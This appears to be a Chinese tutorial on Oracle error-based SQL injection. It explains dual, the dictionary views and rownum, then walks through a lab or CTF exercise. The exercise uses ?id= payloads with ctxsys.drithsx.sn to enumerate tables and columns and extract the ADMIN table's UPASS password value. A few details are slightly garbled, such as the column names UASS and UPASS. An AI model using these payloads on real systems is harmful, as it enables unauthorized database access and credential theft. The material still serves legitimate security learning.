Oracle注入——报错注入

Oracle数据库

一般大公司用的多,很贵,环境搭建复杂且大,数据库死板,非常讲究语法格式,区分大小写,数据类型很多。dual虚表,专门用来满足oracle数据库严格的语法格式,为凑格式所存在。一般数据库强调库、表名、字段、内容,但Oracle数据库种库被弱化,用户被强化,一个用户代表一个库。

dual表

    Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY,那么要它有什么用呢? 它实际上是为了满足查询语句的结构而产生,你想查询你的用户名 select user from Dual ,调用系统函数:(获得随机值:select dbms_random.random from dual),还能做加减法:select 9+1 from dual

数据库语句

  1. select * from all_tables 查询出所有的表 select * from user_tables 查询出当前用户的表
  2. select*from all_tab_columns 查询出所有的字段 select*from user_tab_columns 查询出当前用户的字段
  3. select*from v$version 查版本
  4. limit是mysql数据库特有的,mssql、access数据库利用top实现分页的功能,oracle数据库利用rownum实现分页。
  5. rownum=1 (限制查询返回的总行数为一条) 对于rownum来说,它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。我们可以用rownum < 3来要求他输出2条数据,不能使用rownum=2,因为它是根据结果进行浮动的。
  6. 取结果第二行的方法【实现limit的功能】:
    不等于法 rownum=1 and column_name<>UNAME 重命名法【别名只能用于字段名,不能表名】
select *from 
(select column_name,rownum n from user_tab_columns where table_name=ADMIN)
where n=2      //其中n为别名

报错注入函数解析

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))     //查询数据库版本

为什么需要1=? 因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。

练习

  1. ?id=1 and 1=2回显错误,说明存在sql注入。
  2. 使用?id=1 order by 4猜测字段数为4。
  3. ?id=1 union all select null,null,null,null from dual回显正常。
  4. ?id=1 union all select 1,null,null,null from dual查看1无回显,说明此处不是回显点。 、
  5. /?id=1 union all select 1,null,null,4 from dual回显出时间戳,说明为4回显点。
  6. 到这,我们可以有四种思路:盲注、报错注入、转化类型、通过甘薯对字符串的处理转化为数字在第四个注入点回显【切割字符串,转数字然后看回显】。
  7. 我们主要尝试报错注入。
  8. 使用?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))获得第一条数据。
  9. ?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>ADMIN))获得第二条数据。 10.?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>ADMIN and table_name<>NEWS))获得第三条数据。
  10. ?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name=ADMIN) where n=1))获得ADMIN表中的第一个列名UNAME。
  11. ?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name=ADMIN) where n=2))获得ADMIN表中的第二个列名UASS。
  12. ?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN)where n=2))获得正确的flag。
经验分享 程序员 微信小程序 职场和发展